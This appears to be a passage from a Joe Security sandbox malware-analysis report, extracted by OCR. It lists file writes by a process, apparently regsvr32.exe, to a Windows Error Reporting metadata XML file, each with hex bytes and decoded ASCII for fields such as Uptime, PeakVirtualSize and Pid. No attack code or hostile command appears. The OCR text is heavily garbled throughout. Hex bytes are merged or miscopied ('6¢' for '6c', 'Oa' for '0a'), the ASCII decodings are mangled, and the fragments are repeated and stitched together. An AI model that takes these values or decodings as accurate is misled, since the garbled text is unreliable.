C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset

unknown 4

unknown 2

unknown 42

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 52

unknown 4

unknown 2

unknown 44

unknown 4

unknown 2

unknown 86

unknown 4

unknown 2

unknown 70

Length Value

0d 00 0a 00

09 00

3¢ 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 37 00 31 00 35
00 37 00 3c 00 2f 00
5500 70 00 74 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 7500 65 00 73
00 74 00 3d 00 22 00
33 003300320022
00 20 00 68 00 6f 00
7300 74 00 3d 00 22
00 33 00 34 00 34 00
30 00 34 00 22 00 3e
00 31 00 3c 00 2f 00
57 00 6f 00 77 00 36
00 34 00 3e 00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
7200 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 50 00 65 00 61
00 6b 00 56 00 69 00
7200 74 00 75 00 61
00 6¢ 00 53 00 69 00
7a 00 65 00 3e 00 39
00 39 00 39 00 38 00
33 00 33 00 36 00 30
00 3c 00 2f 00 50 00
65 00 61 00 6b 00 56
00 69 00 72 00 74 00
7500 61 00 6¢ 00 53
00 69 00 7a 00 65 00
3e 00

0d 00 0a 00

09 00

3¢ 00 56 00 69 00 72
00 74 00 75 00 61 00
6¢ 00 53 00 69 00 7a
00 65 00 3e 00 39 00
39 0039 00 37 00 35
00 31 00 36 00 38 00
3c 00 2f 00 56 00 69
00 72 00 74 00 75 00
61 00 6¢ 00 53 00 69
00 7a 00 65 00 3e 00

Ascii

<.U.p.tim.e.>.7.1.5.7.
</.Up.tim.e.>.

<W.o.w.6.4.

<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.
l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.cee.s.s.V.m.Ln.fo.r.
m.a.t.i.o.n.>.

<.P.eak.V.irtualS.z.
e.>.9.9.9.8.3.3.6.0.
<./.P.e.a.
k.\VirtualS.ize>.

<.VirtualS.iz.e>9.9.
9.7.5.1.6.8.<./V.i.rtu.a.l.
S.i.z.e>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

2

1

1

8

1

Source

Address Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 74 3c 005000610067 <.P.a.g.e.F.au.ltC.o.un.t. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00650046 006100 >.2.2.2.6.

7500 6¢ 00 7400 43 <. .P.a.g.e.F.a.u.l.
00 6f 00 75 00 6e 00  t.C.o.u.n.t.>.

74 00 3e 00 32 00 32

00 32 00 36 00 3c 00

2f 00 50 00 61 00 67

00 65 00 46 00 61 00

75 00 6¢ 00 74 00 43

00 6f 00 75 00 6e 00

7400 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 00 57 00 600 .S.i.z.e.>.7.3.9.3.2.8.0.

7200 6b 00 69 00 6e <./.P.
0067 0053006500 e.a.kW.o.rk.i.n.g.S.e.t.S.i
7400530069007a z.e.>.
00 65 00 3e 00 37 00

3300 39 00 33 00 32

00 38 00 30 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 80 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.7.1.9.6.6.7.2.

67 005300650074 <./W.o0.rk.i.
00530069007a00 n.g.S.e.tS.ize>.
65 00 3e 00 37 00 31

00 39 00 36 00 36 00

37 00 32 00 3c 00 2f

00 57 00 6f 00 72 00

6b 00 69 00 6e 00 67

00 53 00 65 00 74 00

53 00 69 00 7a 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 114 3c00510075006f <.Q.u.o.ta.P.eak.P.a.g.e. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0074 0061005000 d.

650061 006b0050 P.o.0.lU.s.a.ge>1.3338.
0061 00 67 00 6500 4.8.

64 0050 00 6f 00 6f <..Q.u.0.t.a.P.e.ak.P.ag.
006c 0055007300 e.d.P.o.o.l.lUs.ag.e.>.

61 00 67 00 65 00 3e

00 31 00 33 00 33 00

38 00 34 00 38 00 3c

00 2f 00 51 00 75 00

6f 00 74 00 61 00 50

00 65 00 61 00 6b 00

50 00 61 00 67 00 65

00 64 00 50 00 6f 00

6f 00 6¢ 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown

ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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Offset Length

unknown 98

unknown 4

unknown 2

unknown 124

unknown 4

unknown 2

unknown 108

unknown 4

unknown 2

unknown 76

unknown 4

unknown 2

Value

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 31
00 33 00 33 00 38 00
34 00 38 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 4e
00 6f 00 6e 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00
6¢ 00 55 00 73 00 61
00 67 00 65 00 3e 00
32 003100300031
00 36 00 3c 00 2f 00
51 00 75 00 6f 00 74
00 61 00 50 00 65 00
61 00 6b 00 4e 00 6f
00 6e 00 50 00 61 00
67 00 65 00 64 00 50
00 6f 00 6f 00 6¢ 00
5500 73 00 61 00 67
00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 4e 00
6f 00 6e 00 50 00 61
00 67 00 65 00 64 00
50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 32
00 30 00 37 00 34 00
34 00 3¢ 00 2f 00 51
00 75 00 6f 00 74 00
61 00 4e 00 6f 00 6e
00 50 00 61 00 67 00
65 00 64 00 50 00 6f
00 6f 00 6¢ 00 55 00
73 00 61 00 67 00 65
00 3e 00

0d 00 0a 00

09 00

3¢ 0050 00 61 00 67
00 65 00 66 00 69 00
6¢ 00 65 00 55 00 73
00 61 00 67 00 65 00
3e 00 34 00 37 00 32
00 36 00 37 00 38 00
34 00 3c 00 2f 00 50
00 61 00 67 00 65 00
66 00 69 00 6¢ 00 65
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

Ascii Completion
<.Q.u.o.t.a.P.a.g.e.d.P.0.0. success or wait 1
lUs.a.g.e>.1.3.3.8.4.8.
<./.Q.
u.o.t.a.P.a.g.e.d.P.o.0.l.U.s
.a.g.e>.
success or wait 1
success or wait &
<.Q.u.o.t.a.P.e.a.k.N.o.n.P. success or wait 1
a.
g.e.d.P.o.0.l.Us.a.g.e>.2.
1.0.1.6.
<./.Q.u.o.t.a.P.e.a.k.N.
o.n.P.a.g.e.d.P.o.0.l.U.s.a.
g.e>.
success or wait 1
success or wait &
<.Q.u.o.t.a.N.o.n.P.a.g.e.d. success or wait 1
P.
0.0.l.U.s.a.g.e.>.2.0.7.4.4.
<.
/.Q.u.o.t.a.N.o.n.P.a.g.e.d.
P.o.0.l.Us.a.g.e.>.
success or wait 1
success or wait &
<.P.a.g.efileU.s.a.g.e.> success or wait 1
4.7.2.6.7.8.4.<./.P.a.g.ef.i.
l.e.U.s.a.g.e>.
success or wait 1
success or wait &

Count Address

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 92 3c 005000650061 <.P.e.ak.P.ag.efileU.s. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 0050006100 a.g.e.>.4.7.3.4.9.7.6.

67 00 6500 66 0069 <./.P.e.

00 6c 00 65005500 ak.P.a.g.efile.U.s.ag.e.
73 006100670065 >.

00 3e 00 34 00 37 00

3300 34 00 39 00 37

00 36 00 3c 00 2f 00

50 00 65 00 61 00 6b

00 50 00 61 00 67 00

65 00 66 00 69 00 6¢

00 65 00 55 00 73 00

61 00 67 00 65 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 72 3c005000720069 <.P.rivate.U.s.ag.e.>4. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00760061007400 7.2.6.7.8.4.</.P..iv.ate.

65005500730061 U.s.a.g.e.>.
00 67 00 65 00 3e 00
34 00 37 00 32 00 36
00 37 00 38 00 34 00
3c 00 2f 00 50 00 72
00 69 00 76 00 61 00

74 00 65 00 55 00 73

00 61 00 67 00 65 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 46 3c002f00500072 <./.P.r.o.ce.s.s.\V.m.l.n.f.o. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6f00 63 006500 r.m.a.t.i.o.n.>.

7300 73 00 56 00 6d

00 49 00 6e 00 66 00
6f 00 72 00 6d 00 61
00 74 00 69 00 6f 00

6e 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 30 3c005000610072 <.P.ar.e.ntP.r.o.c.e.s.s.> success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 65 00 6e 00 74 00

50 00 72 00 6f 00 63
00 65 00 73 00 73 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 3 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 40 3c 0050007200 6f <.P.r.o.c.e.s.s.lnform.a. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 0063 0065007300 t.i.o.n.>.

73 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 30 3c 005000690064 <.P.i.d.>4.8.1.6.<./.P.i.d.>. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 3e 00 34 00 38 00

31 00 36 00 3c 00 2f
00 50 00 69 00 64 00

3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 4 6EF1497A unknown

ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

70

4

2

90

42

4

2

52

44

3c 00 49 00 6d 00 61
00 67 00 65 00 4e 00
61 00 6d 00 65 00 3e
00 72 00 65 00 67 00
730076 00 72 00 33
00 32 00 2e 00 65 00
78 00 65 00 3c 00 2f
00 49 00 6d 00 61 00
67 00 65 00 4e 00 61
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 43 00 6d 00 64
00 4c 00 69 00 6e 00
65 00 53 00 69 00 67
00 6e 00 61 00 74 00
7500 72 00 65 00 3e
00 38 00 30 00 30 00
30 00 34 00 30 00 30
00 35 00 3c 00 2f 00
4300 6d 00 64 00 4c
00 69 00 6e 00 65 00
53 00 69 00 67 00 6e
00 61 00 74 00 75 00
72 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 70 00 74
00 69 00 6d 00 65 00
3e 00 37 00 39 00 30
00 32 00 3c 00 2f 00
5500 70 00 74 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 57 00 6f 00 77
00 36 00 34 00 20 00
67 00 75 00 65 00 73
00 74 00 3d 00 22 00
30 00 22 00 20 00 68
00 6f 00 73 00 74 00
3d 00 22 00 33 00 34
00 34 00 30 00 34 00
2200 3e 003000 3c
00 2f 00 57 00 6f 00
7700 36 00 34 00 3e
00

0d 00 0a 00

09 00

3c 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00 30 00 3c 00
2f 0049 00 70 00 74
00 45 00 6e 00 61 00
62 00 6¢ 00 65 00 64
00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 56 00 6d 00 49
00 6e 00 66 00 6f 00
7200 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

Ascii

Completion

<..m.a.g.e.N.a.m.e.>.r.e.g. success or wait

s.v.r.3.2..e.x.e.
<./.Lm.a.g.e.N.a.m.e.>.

success or wait

success or wait

<.C.m.d.L.i.n.e.S.i.g.n.a.t.u success or wait

.r.e.>.8.0.0.0.4.0.0.5.
<./.C.m.

d.L.i.n.e.S.i.g.n.atu.re>.

<.U.p.t.i.m.e.>.7.9.0.2.
</.Up.tim.e.>.

.h.0.5.t.=.".3.4.4.0.4.".>.0.

<./W.o.w.6.4.>.

<..p.t.E.n.a.b.l.e.d.>.0.</.

l.p.t.E.n.a.b.l.e.d.>.

<.P.ro.ce.s.s.V.m.Ln.fo.r.

m.a.t.i.o.n.>.

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Address

1

1

4

1

1

4

1

Source
Symbol

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown

6EF1497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 90 3c 005000650061 <.P.e.akV.irtu.alS.iz success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 0056 006900 €.>.4.2.9.4.9.6.7.2.9.5.

72007400750061 <./.P.
006c 0053006900 e.akV.irtualS.izes>.
7a 00 65 00 3e 00 34

00 32 00 39 00 34 00

39 00 36 00 37 00 32

00 39 00 35 00 3¢ 00

2f 00 50 00 65 00 61

00 6b 00 56 00 69 00

7200 74 00 75 00 61

00 6¢ 00 53 00 69 00

7a 00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 74 3c005600690072 <.\V.irtu.alS.ize>4.2. success orwait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00740075006100 9.4.9.6.7.2.9.5.<./V.ir.t.u.

6c 0053006900 7a alS.ize>.
00 65 00 3e 00 34 00
320039 00 34 00 39
00 36 00 37 00 32 00
39 00 35 00 3c 00 2f
00 56 00 69 00 72 00
7400 75 00 61 00 6¢
00 53 00 69 00 7a 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 74 3c 005000610067 <.P.a.g.e.F.au.ltC.o.un.t. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00650046 006100 >.1.6.4.4.

7500 6¢ 00 7400 43 <. .P.a.g.e.F.a.u.l.
00 6f 00 75 00 6e 00  t.C.o.u.n.t.>.

74 00 3e 00 31 00 36

00 34 00 34 00 3c 00

2f 00 50 00 61 00 67

00 65 00 46 00 61 00

75 00 6¢ 00 74 00 43

00 6f 00 75 00 6e 00

7400 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 96 3c 005000650061 <.P.e.a.kW.o.rk.in.g.S.e.t success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 00 57 00 600 .S.i.z.e.>.6.2.4.2.3.0.4.

7200 6b 00 69 00 6e <./.P.
0067 0053006500 e.a.kW.o.rk.i.n.g.S.e.t.S.i
7400530069007a z.e.>.
00 65 00 3e 00 36 00

3200 34 00 32 00 33

00 30 00 34 00 3c 00

2f 00 50 00 65 00 61

00 6b 00 57 00 6f 00

72 00 6b 00 69 00 6e

00 67 00 53 00 65 00

7400 53 00 69 00 7a

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 80 3c0057006f0072 <.W.o.rk.in.g.S.etS.i.z.e. success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml 00 6b 00 69 00 6e 00 >.5.9.7.1.9.6.8.

67 005300650074 <./W.o.rk.i.
00530069007a00 n.g.S.e.tS.ize>.
65 00 3e 00 35 00 39

00 37 00 31 00 39 00

36 00 38 00 3c 00 2f

00 57 00 6f 00 72 00

6b 00 69 00 6e 00 67

00 53 00 65 00 74 00

53 00 69 00 7a 00 65

00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6EF1497A unknown
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 5 6EF1497A unknown

ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERS54FD.tmp.WERInternalMetadata.xml

Copyright Joe Security LLC 2021

Offset Length

unknown 112

unknown 4

unknown 2

unknown 96

unknown 4

unknown 2

unknown 122

unknown 4

unknown 2

unknown 106

unknown 4

unknown 2

Value

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
65 00 61 00 6b 00 50
00 61 00 67 00 65 00
64 00 50 00 6f 00 6f
00 6¢ 00 55 00 73 00
61 00 67 00 65 00 3e
00 38 00 33 00 32 00
38 00 30 00 3c 00 2f
00 51 00 75 00 6f 00
7400 61 00 50 00 65
00 61 00 6b 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
61 00 67 00 65 00 64
00 50 00 6f 00 6f 00 6¢
00 55 00 73 00 61 00
67 00 65 00 3e 00 37
00 35 00 35 00 33 00
36 00 3c 00 2f 00 51
00 75 00 6f 00 74 00
61 00 50 00 61 00 67
00 65 00 64 00 50 00
6f 00 6f 00 6¢ 00 55
00 73 00 61 00 67 00
65 00 3e 00

0d 00 0a 00

09 00

3c 00 51 00 75 00 6f
00 74 00 61 00 50 00
